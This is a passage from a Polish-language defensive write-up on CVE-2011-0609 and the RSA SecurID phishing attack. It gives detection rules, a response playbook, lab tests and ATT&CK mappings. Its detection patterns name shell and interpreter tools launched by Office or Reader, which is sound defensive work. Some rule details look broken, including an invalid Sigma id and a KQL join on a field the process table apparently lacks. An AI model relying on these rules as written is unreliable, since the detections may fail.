K8s audit[brak danych / nie dotyczy]Dotyczy etapów późniejszych (lateral movement), nie samej CVE.

Detekcja (praktyczne reguły)

Sigma (Windows — Office/Reader uruchamia interpreter/shell po Flash/Authplay)

title: Office/Reader Suspicious Child Process (CVE-2011-0609 Tradecraft)
id: 6c6f3a3c-8f8c-4f2e-91c3-ofs-cve20110609
status: stable
description: Wykrywa uruchomienie interpreterów/shelli przez EXCEL/AcroRd32/Word – wzorzec obserwowany w eksploatacji SWF/Authplay (2011).
author: Badacz CVE
date: 2025/11/05
logsource:
  product: windows
  category: process_creation
detection:
  parent_office:
    ParentImage|endswith:
      - '\EXCEL.EXE'
      - '\AcroRd32.exe'
      - '\WINWORD.EXE'
  suspicious_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\rundll32.exe'
  condition: parent_office and suspicious_child
falsepositives:
  - Dodatki/plug‑iny wywołujące narzędzia systemowe (rzadkie)
level: high
tags:
  - attack.t1204.002
  - attack.t1203
  - attack.t1059
  - cve.2011.0609

Splunk (Sysmon EID 1 + 3)

index=endpoint (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1)
| where like(ParentImage,"%\\EXCEL.EXE") OR like(ParentImage,"%\\AcroRd32.exe") OR like(ParentImage,"%\\WINWORD.EXE")
| where match(Image,"(?i)\\(cmd|powershell|wscript|cscript|mshta|rundll32)\\.exe$")
| stats earliest(_time) as firstSeen latest(_time) as lastSeen values(CommandLine) values(ParentCommandLine) by Computer, Image, ParentImage, ParentProcessGuid, ProcessGuid
| join type=left ProcessGuid
    [ search index=endpoint sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
      | stats values(DestinationIp) values(DestinationHostname) by ProcessGuid ]
| sort - lastSeen

KQL (Defender for Endpoint + MDO korelacja)

// 1) Host: podejrzane child-procesy po Office/Reader
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("EXCEL.EXE","AcroRd32.exe","WINWORD.EXE")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","mshta.exe","rundll32.exe")

// 2) E-mail: załączniki .xls ze złą reputacją
let suspiciousMail =
EmailEvents
| where AttachmentCount > 0 and tostring(AttachmentExtensions) has_cs "xls"
| where ThreatTypes has_any ("Malware","Phish") or MalwareFilterVerdict in~ ("Malware","HighConfMalware");
suspiciousMail
| project NetworkMessageId, RecipientEmailAddress, SenderFromDomain
| join kind=innerunique (
  DeviceProcessEvents
  | where InitiatingProcessFileName in~ ("EXCEL.EXE","AcroRd32.exe")
  | project Timestamp, DeviceId, InitiatingProcessParentCreationTime, InitiatingProcessFileName, FileName, ProcessCommandLine, NetworkMessageId
) on NetworkMessageId

AWS (CloudWatch Logs Insights — Amazon WorkMail Message Flow / alternatywnie SES)

Jeśli używasz Amazon WorkMail/SES z loggingiem do CloudWatch/S3:

fields @timestamp, fromAddress, recipient, attachmentExtension, malwareVerdict, attachmentMimeType
| filter attachmentExtension="xls"
| filter malwareVerdict="MALICIOUS"
  or like(attachmentMimeType, "%shockwave%")
  or like(attachmentMimeType, "%flash%")
| sort @timestamp desc

(CloudTrail nie zawiera treści e‑maili; użyj WorkMail Message Flow / SES event logs oraz VPC Flow do wskazania ewentualnego C2).

Elastic / EQL

process where
  process.parent.name in ("EXCEL.EXE","AcroRd32.exe","WINWORD.EXE") and
  process.name in ("cmd.exe","powershell.exe","wscript.exe","mshta.exe","rundll32.exe")

Heurystyki / korelacje

  • Łańcuch czasowy: Email (.xls z osadzonym SWF) → uruchomienie Office/Reader → child‑process → połączenie sieciowe do świeżej domeny → zapis droppera w %TEMP%/%APPDATA%.
  • Artefakty Flash/Authplay: ładowanie authplay.dll/Flash*.ocx przez Office/Reader w momencie otwarcia pliku.
  • Pola do pivotowania: NetworkMessageIdDeviceProcessEvents ↔ proxy/DNS; hash załącznika ↔ sandbox verdict.
  • Treść socjotechniki: tematy rekrutacyjne/HR (“Recruitment plan”), krótka treść maila zachęcająca do otwarcia załącznika.

False positives / tuning

  • Legalne dodatki Office/Reader mogą incydentalnie uruchamiać narzędzia systemowe (rzadkie).
  • Zastosuj tuning po wersjach: skup się na hostach, gdzie w telemetrycznych śladach widać obiekty Flash/Authplay lub historyczne wersje Reader/Flash (jeśli utrzymywane w VDI/legacy).
  • Kontekst e‑mail: preferuj zdarzenia z verdictem Malware/High‑confidence lub z sandboxu (MDO Safe Attachments/3rd‑party).
  • Sieć: ogranicz alerty tylko do outbound na świeże/dynamiczne domeny i/lub niedawno zarejestrowane certyfikaty.

Playbook reagowania (IR)

  1. Triage & izolacja hosta (EDR isolate/quarantine).
  2. Zabezpieczenie artefaktów: hash i kopia pliku .xls, volatile data (listy procesów, połączenia, moduły).
    • Windows (PowerShell, konto z uprawnieniami IR): Get-Process EXCEL,AcroRd32 -IncludeUserName Get-ChildItem $env:TEMP | Sort LastWriteTime -desc | Select -First 20 Get-FileHash "C:\Path\to\Attachment.xls" -Algorithm SHA256
  3. Hunting w skali organizacji: IOC = hash załącznika / domeny C2 / temat maila; wyszukaj w EmailEvents/MessageTrace i w EDR.
  4. Blokady: reguła w Secure Email Gateway/MDO na typ załączników (XLS z OLE/ActiveX), blokada starych komponentów Flash/Authplay.
  5. Eradykacja: usuń dropper/RAT, unieważnij poświadczenia z hosta, sprawdź persistence (usługi/Run Keys/Tasks).
  6. Lessons learned: wdroż patch‑management, makra ograniczone, otwieranie załączników w izolacji (sandbox/VDI).

Przykłady z kampanii / case studies

  • Incydent RSA SecurID (marzec 2011): spear‑phishing z „2011 Recruitment plan.xls”, osadzony SWF wykorzystał CVE‑2011‑0609, po czym doinstalowano backdoor (m.in. raportowano Poison Ivy) i kradziono dane związane z SecurID.
  • Wnioski branżowe: Adobe ostrzegało o aktywnej eksploatacji w ukierunkowanych atakach; aktualizacje zostały opublikowane w drugiej połowie marca 2011 r.

Lab (bezpieczne testy) — przykładowe komendy

Cel: zweryfikować, czy Twoje detektory wychwytują łańcuch Email/Office → child‑process/C2 bez używania realnego exploita.

  • Test 1 (host): z poziomu kontenera testowego/VDI uruchom kontrolowany child‑process z Office (np. otwarcie pliku, który uruchamia calc/whoami przez zgodny z polityką add‑in) i sprawdź, czy reguły Sigma/Splunk/KQL go łapią.
  • Test 2 (poczta): wyślij do skrzynki testowej plik XLS z nieszkodliwym osadzonym obiektem (np. formularz OLE bez makr) i obserwuj, czy Safe Attachments nadaje verdict i czy pipeline korelacyjny łączy NetworkMessageId ↔ DeviceProcessEvents.
  • Atomic Red Team (alternatywa): użyj atomików dla T1204.002 i T1566.001 (wersje bezpieczne/PUA), by wygenerować telemetryczne ślady bez rzeczywistej eksploatacji.

Mapowania (Mitigations, powiązane techniki)

Mitigations ATT&CK:

  • M1051 — Update Software: natychmiastowe łatki Flash/Reader (historycznie) i rygorystyczny patch management.
  • M1031 — Network Intrusion Prevention: IDS/IPS do blokady znanych C2/eksploatacji w ruchu.
  • M1047 — Audit: regularne audyty konfiguracji, telemetrii, list uprawnień.

Powiązane techniki (ATT&CK):

  • T1566.001 — Spearphishing Attachment (wektor początkowy).
  • T1204.002 — User Execution: Malicious File (uruchomienie przez użytkownika).
  • T1203 — Exploitation for Client Execution (RCE w aplikacji klienckiej).
  • T1105 — Ingress Tool Transfer (dogrywanie narzędzi/RAT).
  • T1059 — Command & Scripting Interpreter (uruchomienie poleceń/payloadów).

Źródła / dalsza literatura

  • Adobe Security Advisory APSA11‑01 (opis wektora: SWF w Excelu; aktywna eksploatacja). (adobe.com)
  • NVD/CVE — szczegóły produktu/wersji podatnych. (NVD)
  • CERT/CC VU#192052 (informacja o biuletynie z poprawką). (kb.cert.org)
  • Kaspersky/QuickHeal (informacja o wydaniu poprawek). (Securelist)
  • Case study RSA: Infosecurity‑Magazine, The Register, Wired, F‑Secure. (Infosecurity Magazine)
  • ATT&CK (T1566.001, T1204.002, T1203; Detection Strategies). (MITRE ATT&CK)
  • Wersjonowanie ATT&CK (aktualna v18.0). (MITRE ATT&CK)

15) Checklisty dla SOC / CISO

SOC:

  • Korelacja EmailEvents ↔ DeviceProcessEvents ↔ DNS/Proxy dla załączników .xls.
  • Aktywne reguły na Office/Reader → shell/interpreter (Sigma/SIEM).
  • Hunting: authplay.dll / Flash*.ocx załadowane przez Office/Reader (historyczne hosty/VDI).
  • Blokady w SEG/MDO: OLE/ActiveX w dokumentach Office z internetu.
  • Sandboxing załączników (dynamic + static) i automatyczna kwarantanna.

CISO:

  • Egzekwowanie M1051 (patch management) i EOL hygiene (wyeliminować Flash/Authplay).
  • NIPS/SSL inspection dla wczesnego C2 (M1031).
  • Szkolenia z rozpoznawania spear‑phishingu; procedury zgłoszeń.
  • Testy kontrolne (Purple Team/Atomic) mapowane do T1566.001/T1204.002/T1203.

Uwaga końcowa: Flash/Reader wersje z 2011 r. są dziś wygasłe, ale ślady i techniki (phishing + client‑side RCE) pozostają aktualne. Warto utrzymywać detekcje oparte na wzorcu zachowania (ATT&CK), nie na konkretnym CVE.